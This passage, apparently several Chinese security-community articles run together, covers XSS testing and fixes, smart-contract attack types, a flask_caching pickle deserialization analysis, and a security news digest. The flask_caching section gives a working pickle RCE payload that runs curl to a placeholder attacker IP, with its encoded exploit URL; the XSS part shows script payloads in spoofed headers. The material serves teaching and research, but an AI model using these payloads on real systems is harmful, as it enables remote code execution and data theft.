原来是因为这里的另外两个cookie带有`HttpOnly`，所以获取不到。这点我在最后的 **修复** 中会有提及。
# 6.挖掘XSS
之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。
修改URL参数的时候，你看到的只是用GET来传输数据的，还有隐形的数据，他们是用POST来传输数据，只有在数据包里才可以看到。
废话不多说，下面进入正题：
## 6.1.方法
### 6.1.1.手工检测XSS
使用手工检测Web应用程序是否存在XSS漏洞时，最重要的是考虑哪里有输入、输入的数据在什么地方输出。
使用手工检测XSS时，一定要选择有特殊意义的字符，这样可以快速测试是否存在XSS。比如，测试某输入框是否存在XSS漏洞时，不要直接输入XSS跨站语句测试，应该一步一步地进行，这样更有利于测试。
#### 6.1.1.1.可得知输出位置
输入一些敏感字符，例如`<`、`>`、`"`、`'`、`()`等，在提交请求后查看HTML源代码，看这些输入的字符是否被转义。
在输出这些敏感字符时，很有可能程序已经做了过滤，这样在寻找这些字符时就不太容易了，这时就可以输入`AAAA<>'''&`字符串，然后在查找源代码的时候直接查找`AAAA`这样或许就会比较方便了。
#### 6.1.1.2.无法得知输出位置
非常多的Web应用程序源代码是不对外公开的，这时在测试XSS时就有可能无法得知输入数据到底在何处显示，比如，测试某留言板是否存在XSS，那么在留言之后，可能需要经过管理员的审核才能显示，这时无法得知输入的数据在后台管理页面处于何种状态，例如：
在`<div>`标签中：`<div>XSS Test</div>`
在`<input>`标签中：`<input type="text" name="content" value="XSS Test"/>`
对于这种情况，通常会采用输入`"/>XSS Test`来测试。
### 6.1.2.全自动检测XSS
AWVS、APPSCAN等软件都可以有效地检测XSS漏洞，但是这些大型漏洞扫描工具不仅会检测XSS漏洞外，还会检测像SQL注入漏洞等其他漏洞。虽然这些漏洞扫描工具可以配置只检测XSS漏洞，但是却比如专门的XSS检测工具效率高。
专门的XSS扫描工具有很多，像XSSER、XSSF等都很好用。也有大牛自己制作的扫描XSS漏洞的工具等等。
检测XSS一定要工具和手工并进，这样才能更好地检测XSS。比如在扫描XSS时，很多漏洞扫描器一般都无法检测非常规的XSS漏洞，例如在提交留言时可能需要短信验证、验证码填写等，这些工具是无法做到的。
### 6.1.3.骚操作
我们都知道当你浏览网站的时候，对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢？这里说的修改IP为XSS不是说修改PC端的，而是在浏览器也就是网页上的客户端进行修改。
#### 6.1.3.1.使用工具
这里需要使用firefox浏览器和两个附件（用一个就行）
**附件一：X-Forwarded-For Header**
因为PHP获取IP有3个函数。而X-Forwarded-For
Header就是对其中一个函数X_FORWARDED_FOR起作用，X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP，当然包括字符串，但是对其他两个函数就不行了。
[
**附件二：Modify Headers**
`Modify Headers`可以伪造数据包内容，当然也可以伪造`HTTP_CLIENT_IP`来更改IP。
那还有一个`REMOTE_ADDR`获取IP函数，这个怎么修改呢？答案是无法修改。
`REMOTE_ADDR`是由 nginx 传递给 php 的参数，所以就是当前 nginx 直接通信的客户端的 IP
，而我们无法插手。所以一旦对方使用了`REMOTE_ADDR`函数来获取IP，那就没办法了。不过不要紧，一共3个函数，2个函数可以伪造，我们还是有很大的成功率的。好了，开始伪造。
[
这里 **Modify Headers** 的用法就是点击左上角`Select action`，选择`Add`，就可以加了。`X-Forwarded-For`得用`Modify`，这样才能填`Header value`，最后还要记得点击左上角的Start。
#### 6.1.3.2.结果
伪造好后，就打开[www.ip138.com](https://link.zhihu.com/?target=http%3A//www.ip138.com/)
[
成功弹窗了。因为我当时在`X-Forwarded-For
Header`里配置的是`<script>alert("xss")</script>`；而在`Modify
Headers`里面没有配置`X-Forwarded-For函数`，只配置了`Client-IP函数`，值为`<script>alert("xss2")</script>`。也就是说[www.ip138.com](https://link.zhihu.com/?target=http%3A//ip138.com/)当时使用的是`X_FORWARDED_FOR函数`来获取IP的。
现在在去尝试已经不行了，估计已经修改了吧。
#### 6.1.3.1.使用前提
1.服务器要有获取你的ip的需求，不然不会触发。
2.即使有获取你的ip的需求，也要使用那几个指定函数来获取。
3.没有过滤。像DZ等著名CMS不存在，他们都过滤了。
# 7.修复
XSS漏洞最终形成的原因是对输入与输出没有严格的过滤，在页面执行JavaScript等客户端脚本，这就意味着只要将敏感字符过滤，即可修补XSS漏洞。但是这个过程是十分复杂的，很多情况下无法识别哪些是正常的字符，哪些是非正常的字符。
## 7.1.输入与输出
在HTML中，`<`、`>`、`"`、`'`、`&`都有比较特殊的意义，因为HTML标签、属性就是由这几个符号组成的。如果直接输出这几个特殊字符，极有可能破坏整个HTML文档的结构。所以，一般情况下，XSS将这些特殊字符转义。
在PHP中提供了`htmlentities()`、`htmlspecialchars()`函数可以把一些预定义的字符转换为HTML实体。
预定义的字符有这些：
1.`&`(和号)成为`&`；
2.`"`(双引号)成为`"`;
3.`'`(单引号)成为`'`;
4.`<`(小于)成为`<`；
5.`>`(大于)成为`>`。
当字符传经过这类函数处理后，敏感字符将会被一 一转义。
## 7.2.HttpOnly
严格地说，`HttpOnly`对防御XSS漏洞不起作用，它的主要目的是为了解决XSS漏洞后续的cookie劫持攻击。
`HttpOnly`是微软公司的Internet Explorer 6
SP1引入的一项新特性。这个特性为cookie提供了一个新的属性，用以阻止客户端脚本访问cookie。至今已经成为了一个标准，几乎所有的浏览器都会支持`HttpOnly`。
如何使用JavaScript获取cookie前面也有介绍和演示，我相信大家都会了，这里就不赘述了。一个服务器可能会向服务器端发送多条cookie，但是带有`HttpOnly`的cookie，JavaScript将不能获取。
这里举个例子：
比如我访问某网页，然后查看cookie，可以看到`ASP.NET_SessionId`字段后面有了`HttpOnly`
[
这样就代表JavaScript将不能获取被`HttpOnly`标注的cookie值。清空浏览器地址栏，在其中输入`javascript:alert(document.cookie)`语句测试的话，在弹出的对话框中只有其它字段，就不会看到`ASP.NET_SessionId`字段，这就是`HttpOnly`的作用。
在身份标识字段使用`HttpOnly`可以有效地阻挡XSS会话劫持攻击，但却不能完全阻挡XSS攻击。因为XSS攻击手段很多：模拟用户“正常”操作、盗取用户信息、钓鱼等，仅靠`HttpOnly`是不够的，防御的关键还是要靠过滤输入与输出，要进行代码修复（自定义过滤，自带函数）。
# 8.总结
对于XSS漏洞，它的攻击手段的确很多，层出不穷的，但是其实都可以彻底解决，最关键的是要能够真正的掌控"输入与输出"。 | 社区文章 |
# 区块链安全入门笔记（六） | 慢雾科普
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着越来越的人参与到区块链这个行业中来，为行业注入新活力的同时也由于相关知识的薄弱以及安全意识的匮乏，给了攻击者更多的可乘之机。面对频频爆发的安全事件，慢雾特推出区块链安全入门笔记系列，向大家介绍区块链安全相关名词，让新手们更快适应区块链危机四伏的安全攻防世界！
## 智能合约 Smart Contract
智能合约(Smart Contract)并不是一个新的概念，早在 1995 年就由跨领域法律学者 Nick Szabo
提出：智能合约是一套以数字形式定义的承诺(Promises)，包括合约参与方可以在上面执行这些承诺的协议。在区块链领域中，智能合约本质可以说是一段运行在区块链网络中的代码，它以计算机指令的方式实现了传统合约的自动化处理，完成用户所赋予的业务逻辑。
随着区块链智能合约数量的与日俱增，随之暴露出来的安全问题也越来越多，攻击者常能利用漏洞入侵系统对智能合约用户造成巨大损失，据 SlowMist Hacked
统计，截止目前仅 ETH、EOS、TRON 三条链上因智能合约被攻击而导致的损失就高达
＄126,883,725.92，具有相同攻击特征的手法更是呈现出多次得手且跨公链的趋势，接下来我们将为大家介绍近年来一些常见的智能合约攻击手法。
## 交易回滚攻击 Roll Back Attack
交易回滚攻击(Roll Back
Attack)，故名思义，指的是能对交易的状态进行回滚。回滚具体是什么意思呢？回滚具体指的是将已经发生的状态恢复成它未发生时候的样子。那么，交易回滚的意思就是将已经发生的交易变成未发生的状态。即攻击者本来已经发生了支付动作，但是通过某些手段，让转账流程发生错误，从而回滚整个交易流程，达到交易回滚的目的，这种攻击手法多发于区块链上的的智能合约游戏当中，当用户的下注动作和合约的开奖动作在一个交易内的时候，即内联交易。攻击者就可以通过交易发生时检测智能合约的某些状态，获知开奖信息，根据开奖信息选择是否对下注交易进行回滚。
该攻击手法早期常用于 EOS DApp 上，后逐步向波场等其他公链蔓延，截止目前，已有 12 个 DApp
遭遇攻击，慢雾安全团队建议开发者们不要将用户的下注与开奖放在同一个交易内，防止攻击者通过检测智能合约中的开奖状态实现交易回滚攻击。
## 交易排挤攻击 Transaction Congestion Attack
交易排挤攻击(Transaction Congestion Attack)是针对 EOS 上的使用 defer
进行开奖的游戏合约的一种攻击手法，攻击者可以通过某些手段，在游戏合约的 defer 开奖交易前发送大量的 defer 交易，恶意侵占区块内的 CPU
资源，使得智能合约内本应在指定区块内执行的 defer 开奖交易因资源不足无法执行，只能去到下一个区块才执行。由于很多 EOS
上的游戏智能合约使用区块信息作为智能合约本身的随机数，同一个 defer
开奖交易在不同区块内的执行结果是不一样的。通过这样的方式，攻击者在获知无法中奖的时候，就通过发送大量的 defer
交易，强行让智能合约重新开奖，从而达到攻击目的。
该攻击手法最早在黑客 loveforlover 向 EOS.WIN 发起攻击时被发现，随后相同的攻击手法多次得手，据 SlowMist Hacked 统计仅
2019 年就有 22 个竞猜类 DApp 因此损失了大量资金，慢雾安全团队建议智能合约开发者对在不同区块内执行结果不同的关键的操作不要采用 defer
交易的方式，降低合约被攻击的风险。
## 随机数攻击 Random Number Attack
随机数攻击(Random Number
Attack)，就是针对智能合约的随机数生成算法进行攻击，预测智能合约的随机数。目前区块链上很多游戏都是采用的链上信息（如区块时间，未来区块哈希等）作为游戏合约的随机数源，也称随机数种子。使用这种随机数种子生成的随机数被称为伪随机数。伪随机数不是真的随机数，存在被预测的可能。当使用可被预测的随机数种子生成随机数的时候，一旦随机数生成的算法被攻击者猜测到或通过逆向等其他方式拿到，攻击者就可以根据随机数的生成算法预测游戏即将出现的随机数，实现随机数预测，达到攻击目的。
2018 年 11 月 11 日，攻击者向 EOS.WIN 发起连续随机数攻击，共获利 20,000 枚
EOS，在此慢雾安全团队建议智能合约开发者使用安全的随机数源作为合约随机数，如通过使用链下的随机数种子生成随机数的方式上传至链上。降低合约被攻击的风险。 | 社区文章 |
# flask_caching中的pickle反序列化问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 源码
测试源码如下，根据调试情况随时修改
from flask import Flask
from flask import request
from flask_caching import Cache
from redis import Redis
import base64
import jinja2
import os
app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])
@app.route('/', methods=['GET'])
def notes_post():
if request.method == 'GET':
x = request.args.get('x') or 'x'
y = request.args.get('y') or 'y'
# y = base64.b64decode(y)
print(y)
redis.setex(name=x, value=y, time=100)
return 'hello world'
@cache.cached(timeout=100)
def _test0():
print('_test0 called')
return '_test0'
@app.route('/0')
def test0():
print('test0 called')
_test0()
return 'test0'
@cache.cached(timeout=100)
def _test1():
print('_test1 called')
return '_test1'
@app.route('/1')
def test1():
print('test1 called')
_test1()
return 'test1'
if __name__ == "__main__":
app.run('127.0.0.1', 5000)
## 连接 redis
断点如图
首先去实例化 Cache 类控制 cache object，调用 Cache 类的 `__init__` 函数做一些初始配置，再调用
`init_app(app, config)`
config = <class 'dict'>: {'CACHE_TYPE': 'redis'}
self.with_jinja2_ext = True
self.config = <class 'dict'>: {'CACHE_TYPE': 'redis'}
self.source_check = None
在 `init_app()` 函数中，定义 base_config 变量，其中包含了 Flask 的 config 和 传入的 config 参数，即
`{'CACHE_TYPE': 'redis'}` ，最后对 config 进行重新赋值
然后对新定义的 config 设置一些初始值，这里面将缓存的默认前缀 `CACHE_KEY_PREFIX` 赋值为 `flask_cache_`
然后会对缓存类型 `CACHE_TYPE` 做判断，由于选择的是 redis ，这里都不会进入 if 语句里面，会直接执行对
`self.source_check` 的赋值
config = <class 'dict'>: {'ENV': 'development', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CACHE_REDIS_HOST': 'localhost', 'CACHE_TYPE': 'redis', 'CACHE_DEFAULT_TIMEOUT': 300, 'CACHE_IGNORE_ERRORS': False, 'CACHE_THRESHOLD': 500, 'CACHE_KEY_PREFIX': 'flask_cache_', 'CACHE_MEMCACHED_SERVERS': None, 'CACHE_DIR': None, 'CACHE_OPTIONS': None, 'CACHE_ARGS': [], 'CACHE_NO_NULL_WARNING': False, 'CACHE_SOURCE_CHECK': False}
self.with_jinja2_ext = True
self.config = <class 'dict'>: {'CACHE_TYPE': 'redis'}
self.source_check = False
然后将当前 app 中 flask 临时环境变量 jinja_env 中的 `_template_fragment_cache` 设置为当前的实例化对象，即
flask_caching.Cache object 。然后将 jinja_env 中的 `extensions` 增加一个拓展
`flask_caching.jinja2ext.CacheExtension` 。然后执行 `_set_cache(app, config)`
在 _set _cache 中定义变量 import _me，也就是选择的缓存模式，这里为 redis 。接着导入 backends 下的 `
__init__.py`，其中定义了不同模式对应的不同函数。然后通过 getattr 函数获取 backends
下`__init__.py`中的`redis()` 函数赋值给 cache_obj
接着是一系列的配置
然后会调用 cache_obj() 函数也即 redis() 函数
接下来看一下 redis() 函数，这里将连接所需要的参数存入 `kwargs` ，然后返回一个 `RedisCache` 对象
kwargs = <class 'dict'>: {'default_timeout': 300, 'host': 'localhost', 'port': 6379, 'key_prefix': 'flask_cache_'}
在 `RedisCache` 类的初始化中与 redis 建立连接，然后在 redis() 中返回该对象，即这里的 self，再在 `_set_cache`
中赋值给 `app.extensions["cache"][self]`
这就是 `app.extensions` 最终的样子，最后赋值给 Cache 类的 app 属性
源代码中 `cache = Cache(app, config={'CACHE_TYPE': 'redis'})` 这一句实现了对 redis
的配置，以及对 flask app 内容的拷贝与更新。`print(cache.app.extensions)` 结果如图
接着到 `redis = Redis('localhost')` 他会进入 client.py 中 Redis 类的 `__init__()` 函数去连接
redis
redis 使用 connection pool 来管理对一个 redis server 的所有连接，避免每次建立、释放连接的开销。默认，每个 Redis
实例都会维护一个自己的连接池。可以直接建立一个连接池，然后作为 Redis 的参数，这样就可以实现多个 Redis 实例共享一个连接池。
实际上在源码中，下面两个用的是同一个 connection pool
cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
先看一下 cache 里面的东西
接着到修饰符那里
这里使用 Cache 类的 cached() 函数进行装饰，如果访问的话就相当于是执行了 `cache.cached(timeout=100,
_test0())`，注意这里并没有执行装饰器函数，只是进行了定义。
至此，完成了 Cache 和 Redis 对 redis 的连接，二者详情如下
## 数据存入 redis
访问主页，执行到 `redis.setex(name=x, value=y, time=100)` 相当于执行 `redis.setex('x', 'y',
time=100)`
后端 execute_command() 函数进行拼接时为
`b'*4\r\n$5\r\nSETEX\r\n$1\r\nx\r\n$3\r\n100\r\n$1\r\ny\r\n'` ，接着会通过 socket
将这个命令发送给 redis 服务端，相当于在 redis 上执行 `SETEX x 100 y` 即 `SETEX key seconds value`
然后访问 <http://127.0.0.1:5000/0>
它会先执行 `_test0()` 在 `return '_test0'` 后执行 cache.cached()，传入的参数为
self, # 这里的 self 就是开始生成的 cache 对象
timeout=100,
key_prefix="view/%s",
unless=None,
forced_update=None,
response_filter=None,
query_string=False,
hash_method=hashlib.md5,
cache_none=False,
make_cache_key=None,
source_check=None
在访问 <http://127.0.0.1:5000/0> 时，首先执行 decorated_function()，进而到 `_bypass_cache`
，这里 unless 为 None，f 为 `_test0()` 函数，最终 `_bypass_cache` 返回 False。然后将
source_check 赋值为 False。然后执行 `cache_key = _make_cache_key(args, kwargs,
use_request=True)`
query_string 为 False，然后使用 callable() 函数检查 key_prefix 对象是否是可调用的，很明显返回 False。进入
elif 语句，use_request 为 True，对 key_prefix 进行拼接，结果为 `view//0` 即为 cache_key
的值。source_check 为 False 这里直接 return cache_key
然后进入后面的 if 判断，callable(forced_update) 返回 False，会直接进入 else 语句，self.cache 这里是调用
self 的 cache() 函数，这里返回空(后面再分析)，rv 为 None，found 赋值为 True。接着进入后面的 if 判断，rv 为
None，cache_none 为 False，所以将 found 赋值为 False
继续执行后面的判断，found 为 False，rv 为 `_test0` 的返回值 `_test0` 。response_filter 为
None，然后去执行 RedisCache 类的 set() 函数，传入的参数为
cache_key = 'view//0'
rv = '_test0'
timeout = 10
在 RedisCache 类的 set() 函数中可以看到，先计算超时时间，然后进行了 pickle 序列化，这里只是多加了一个 `!` 然后使用
`Redis<ConnectionPool<Connection<host=localhost,port=6379,db=0>>>` 去执行
`setex()`
在执行 `setex()` 时会先获取 `key_prefix` 这里为 `flask_cache_` ，然后去执行 `execute_command()`
向 redis 传输数据
这就解释了为何 redis 的缓存的 key 是 `flask_cache_view//0` 对应的 value 是
`b'!\x80\x03X\x06\x00\x00\x00_test0q\x00.'`
## redis 输出数据
上述情况是第一次访问，在第一次访问之后，redis 存在缓存，再次访问，cached() 函数中下图的位置和第一次访问不同，第二次访问时存在
cache_key 然后会直接 return rv
进入 `rv = self.cache.get(cache_key)` 它这里实际上是在调用 cahce() 函数，在 globals.py 中定义了
current_app 为 LocalProxy 的对象，然后会返回 RedisCache 对象
接着会去调用 RedisCache 对象的 get() 函数，先将 key 进行拼接，然后利用 ConnectionPool 读取 redis 中的
key:value 数据，最后返回 value 的 pickle 反序列化结果
## vuln
既然涉及到 pickle 序列化与反序列化，那就可能存在命令执行。在这个访问过程中，假设访问 <http://127.0.0.1:5000/1> 那么
redis 缓存的数据为
{
b'flask_cache_view//1' : b'!\x80\x03X\x06\x00\x00\x00_test1q\x00.'
}
假设访问
[http://127.0.0.1:5000/?x=flask_cache_view//1&y=123](http://127.0.0.1:5000/?x=flask_cache_view//1&y=123)
那么 redis 缓存的数据为
{
b'flask_cache_view//1' : b'123'
}
如果开始没有访问 <http://127.0.0.1:5000/1> 那么在访问
[http://127.0.0.1:5000/?x=flask_cache_view//1&y=123](http://127.0.0.1:5000/?x=flask_cache_view//1&y=123)
之后再去访问
[http://127.0.0.1:5000/1，它并未执行](http://127.0.0.1:5000/1%EF%BC%8C%E5%AE%83%E5%B9%B6%E6%9C%AA%E6%89%A7%E8%A1%8C)
_test1()，且根据上面的分析它会对 value 进行 pickle 反序列化
把这里的源码改一下，加个 base64
@app.route('/', methods=['GET'])
def notes_post():
if request.method == 'GET':
x = request.args.get('x') or 'x'
y = request.args.get('y') or 'y'
try:
y = base64.b64decode(y)
except Exception as e:
y = 'must be b64'
redis.setex(name=x, value=y, time=100)
return 'hello world'
然后写一个 pickle 反序列化的命令执行
import os
import pickle
import base64
ip = 'YOUR_IP'
port = 20000
command = f'curl -d "test" {ip}:{port}'
class PickleRce(object):
def __reduce__(self):
return (os.system,(command,))
f = open('payload', 'wb')
f.write(b'!'+pickle.dumps(PickleRce()))
f.close()
payload = open('payload', 'rb').read()
payload = base64.b64encode(payload)
print(payload)
# IYADY250CnN5c3RlbQpxAFgcAAAAY3VybCAtZCAidGVzdCIgWU9VUl9JUDoyMDAwMHEBhXECUnEDLg==
访问
[http://127.0.0.1:5000/?x=flask_cache_view//1&y=IYADY250CnN5c3RlbQpxAFgcAAAAY3VybCAtZCAidGVzdCIgWU9VUl9JUDoyMDAwMHEBhXECUnEDLg==](http://127.0.0.1:5000/?x=flask_cache_view//1&y=IYADY250CnN5c3RlbQpxAFgcAAAAY3VybCAtZCAidGVzdCIgWU9VUl9JUDoyMDAwMHEBhXECUnEDLg==)
然后访问 <http://127.0.0.1:5000/1> | 社区文章 |
# 4月4日安全热点 - 新的Android恶意软件可以窃取IM客户端的数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Panerabread.com泄露数百万客户记录，该问题已存在长达8个月但仍未解决
<https://blog.malwarebytes.com/cybercrime/2018/04/panerabread-com-breach-could-have-impacted-millions/>
新的Android恶意软件窃取来自Facebook Messenger等IM客户端的数据
<https://www.bleepingcomputer.com/news/security/android-trojan-steals-data-from-facebook-messenger-skype-other-im-clients/>
<https://thehackernews.com/2018/04/android-spying-trojan.html>
Chrome浏览器VPN扩展可能会将DNS查询泄露
<https://www.bleepingcomputer.com/news/security/some-chrome-vpn-extensions-leak-dns-queries/>
实时聊天窗口小部件泄露知名公司员工的个人信息
<https://www.bleepingcomputer.com/news/security/live-chat-widgets-leak-employee-details-from-high-profile-companies/>
Gartner报告：全球网络安全产业规模发展情况及趋势预测
<http://mp.weixin.qq.com/s/_jOALqJB4aVpaM25rjN5Yg>
HSVS-HTTP全流量可视化系统
<http://mp.weixin.qq.com/s/7a9naX3YABQPAGsnsCJ4xw>
MesaLink开源：OpenSSL的接班人，”心脏”不再”出血”
<https://mp.weixin.qq.com/s/_AHeStAzWx0xftYISTlk6g>
## 技术类
针对Windows的Java反序列化攻击
[https://isc.sans.edu/forums/diary/Java+Deserialization+Attack+Against+Windows/23513/](https://isc.sans.edu/forums/diary/Java+Deserialization+Attack+Against+Windows/23513/?utm_source=securitydailynews.com)
越过 XSS: Edge Side Include Injection
[http://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/)
新的Android恶意软件——KevDroid调查与分析
<http://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html>
CSRF攻击与防御
<https://www.cnblogs.com/phpstudy2015-6/p/6771239.html>
小心！恶意的游戏扩展
> [Malicious gaming extensions: a child’s play to
> infection](https://blog.malwarebytes.com/cybercrime/2018/04/malicious-> gaming-extensions-a-childs-play-to-infection/)
A root cause analysis of CVE-2018-0797 – Rich Text Format Stylesheet Use-After-Free vulnerability
[https://www.fortinet.com/blog/threat-research/a-root-cause-analysis-of-cve-2018-0797—rich-text-format-styles.html](https://www.fortinet.com/blog/threat-research/a-root-cause-analysis-of-cve-2018-0797---rich-text-format-styles.html)
CloudFront劫持
> [CloudFront Hijacking](https://www.mindpointgroup.com/blog/pen-> test/cloudfront-hijacking/)
Oracle EBS Penetration testing tool
<https://erpscan.com/press-center/blog/oracle-ebs-penetration-testing-tool/>
badtouch——一个可编写脚本的网络身份验证破解程序
<https://github.com/kpcyrd/badtouch>
##
## 以下热点来自360cert
【安全工具】
1.虽然并不打算为PE文件分析工具PE-bear增加新的功能,但是作者还是发布了0.3.8版本以修复一些bug
<http://urlqh.cn/lNqgI>
2.百度安全实验室开源内存安全并兼容OpenSSL的TLS协议栈MesaLink
<http://urlqh.cn/lOlaP>
【安全资讯】
1.CanSecWest 2018的slide公开了
<http://urlqh.cn/lPAXo>
2.工信部要求对WiFi万能钥匙等蹭网类程序开展调查
<http://urlqh.cn/lOaqv>
3.全国最大利用抢号软件倒卖车牌案破获,在读研究生”黑客”三年买下上海两套房
<http://urlqh.cn/lOeoo>
4.默克尔所在政党承认从德国邮政购买选民数据
<http://urlqh.cn/lRN2u>
5.APT组织FIN7窃取了Saks Fifth Avenue和Lord＆Taylor的500万张支付卡的数据
<http://urlqh.cn/lPaN7>
<http://urlqh.cn/lNA1D>
<http://urlqh.cn/lMLqZ>
6.Intel CPU漏洞风波之后苹果计划在2020年之前在MAC上使用自己的芯片
<http://urlqh.cn/lOjU2>
7.美国政府首次公开承认华盛顿存在外国间谍和罪犯可能用来追踪个人手机并拦截电话和信息的设备
<http://urlqh.cn/lS1b2>
【安全报告】
1.2017年网络安全(云安全)态势报告
<http://urlqh.cn/lOauD>
【安全研究】
1.Drupal 8漏洞详解(CVE-2017-6926)
<http://urlqh.cn/lNJ0e>
2.一种新型SQL时间盲注攻击探索
<http://urlqh.cn/lNXXJ>
3.Talos披露Moxa AWK-3131A工业无线接入点中发现的命令注入漏洞(CVE-2017-14459)
<http://urlqh.cn/lNkjw>
【恶意软件】
1.对基于SYLK文件传播Orcus远控木马样本分析
<http://urlqh.cn/lPaol>
2.AhnLab发布Magniber勒索软件解密工具
<http://urlqh.cn/lNZst>
3.魔鬼撒旦(Satan)勒索病毒携永恒之蓝卷土重来,主攻数据库
<http://urlqh.cn/lQMyT>
4.流行一时的Festi Rootkit再度现身
<http://urlqh.cn/lO203> | 社区文章 |
来源链接：http://riusksk.me/2016/09/25/BlackHat-USA-2016-议题分析/
作者： **riusksk（泉哥）**
主页：http://riusksk.me
本文已发表于2016年9月CSDN的《程序员》杂志，转载请注明出处。
* * *
### 大会概述
BlackHat USA 是世界上最著名的黑客大会BlackHat的主场，规模远超亚洲、欧洲等分会，今年大约有15000人参会，依然在美国拉斯维加斯举办。
大会全程共6天，包括 Training 培训、Keynote 议题分享、Arsenal 工具展示以及素有”黑客奥斯卡“之称的 Pwnie Awards
颁奖。
今年有上百个议题入选，涉及的安全领域也是相当广泛全面，包括移动安全、物联网、软件安全、加密、工控、企业安全、Web安全、逆向工程、恶意软件等等，整体上跟往年的议题类型差不多。
每年的BlackHat
USA都代表着一个安全技术发展的”风向标“，在这可以看到全球顶端安全研究人员的研究成果，以及业界安全发展趋势。不少政府人员，比如FBI经常会出现在会场，以前也有FBI在现场带走一些有犯罪记录的人员，或者禁止涉及过于敏感内容的演讲，但一般是在BlackHat的兄弟会议Defcon上下手，比如曾经某黑客在Defcon演讲完后，在回旅馆的路上被抓了，还有之前MIT学生破解波士顿地铁免费乘坐地铁的演讲也被禁止掉。
### 精彩议题分析
笔者针对BlackHat官网上公布的各个议题pdf筛选了一遍，挑选出一些大家可能感兴趣，或者技术新颖有兴趣的议题作简要介绍和点评。
#### 1、《Using EMET to Disable EMET》——绕过微软EMET防护工具实现软件漏洞利用的方法
图1：禁用EMET前后LoadLibraryA函数入口代码的对比情况
该议题来自国外著名安全公司FireEye的分享，是一家专门为企业提供安全防护产品的公司，该公司曾发现许多0Day漏洞以及APT攻击事件。
**【内容简介】**
Microsoft’s Enhanced Mitigation Experience Toolkit
(EMET)是一款针对用户程序的内存防护工具，可以提高软件的漏洞利用难度。
FireEye安全研究人员介绍了一种新型的禁用EMET技术，同时举例了一些以前针对EMET的攻击方式。他们介绍的新型绕过技术主要是利用ROP技术找到DLLMain函数入口，然后实现以下代码的调用：
BOOL WINAPI DllMain (GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH , NULL);
EMET主要通过向保护的用户进程注入emet.dll或者emet64.dll，同时因为`GetModuleHandleA`
未被Hook，所以使用以上方法去卸载EMET.dll中的各种API Hook，虽然这不会将EMET从内存中移除，但已经足够禁用它的所有防护功能。
**【点评】**
在著名的黑客赛事Pwn2Own中，微软要求必须绕过EMET和沙盒保护攻下64位IE浏览器才算成功，因此绕过EMET成了攻破IE的必经之路。
不过，由于EMET并非默认在系统上开启的，需要用户自行安装，因此实际上使用EMET来保护系统软件的用户并不会太多，甚至包括一些安全人员也很少使用它，在诸多实际攻击案例中，大多不用绕过EMET就可以攻下系统。
#### 2、《Exploiting Curiosity and Context》——针对陌生链接点击情况的安全调查报告
该议题来自德国萨尔州大学和埃尔朗根-纽伦堡大学安全研究人员的分享。
**【内容简介】**
这是一份安全调查报告，关于点击陌生链接的调查情况，作者通过邮件与Facebook两种途径进行调查分析，专门构造特定的消息内容，或者链接中包含对方id等各种方式来引起点击者的好奇，最后统计出点击占比，以及引导用户点击的各种主要影响因素。
**【点评】**
很多漏洞或者病毒都是通过链接、邮件等方式进行恶意传播，通过邮件利用漏洞进行攻击是当前APT攻击事件中最常用的手段，因此提高安全意识，不要随意打开陌生链接、邮件附件是相当有必要的。当然反之，这份报告对于黑产人士也是有一种借鉴作用，如何构造出能够引起目标用户的兴趣和好奇，增加点击成功率也是一个参考方向。
从报告中可以看出，一些社交平台如Facebook，这种比邮件交互性更大的网络平台，更容易引起用户的点击，而且一些点名道性的链接内容，或者一些能引起用户兴趣的内容，也更容易诱使用户点击。
#### 3、《DOES DROPPING USB DRIVES REALLY WORK?》——U盘社工调查报告
图3：U盘社工调查的统计结论
该议题来自Google的Elie Bursztein研究员，主要从事反欺诈工作。
**【内容简介】**
该议题主要是基于社工技术的一份安全调查，使用类似以前”BadUSB“技术，基于Teensy（俗称”橡皮鸭“）编写模拟输入功能的U盘，能够回连后门的恶意功能，支持Windows、Linux和OSX等多系统平台。
每个U盘成本大约$40美元，假装丢在各个不同的地方，共放了297个，成本$11880美元（￥78792人民币），投入成本也是很大。
最后的调查结果是：至少48%的人打开U盘执行了恶意程序。
**【点评】**
一份挺有趣的安全调查报告，安全技术要求不高，主要注重于动手实践能力，自己动手制作297个U盘也是需要一定耐心和时间的，同时花近8万块的成本，也是颇舍得投入的。
#### 4、《Subverting Apple Graphics Practical Approaches To Remotely Gaining
Root》——Pwn2Own 2016 OSX项目所用漏洞的利用分析
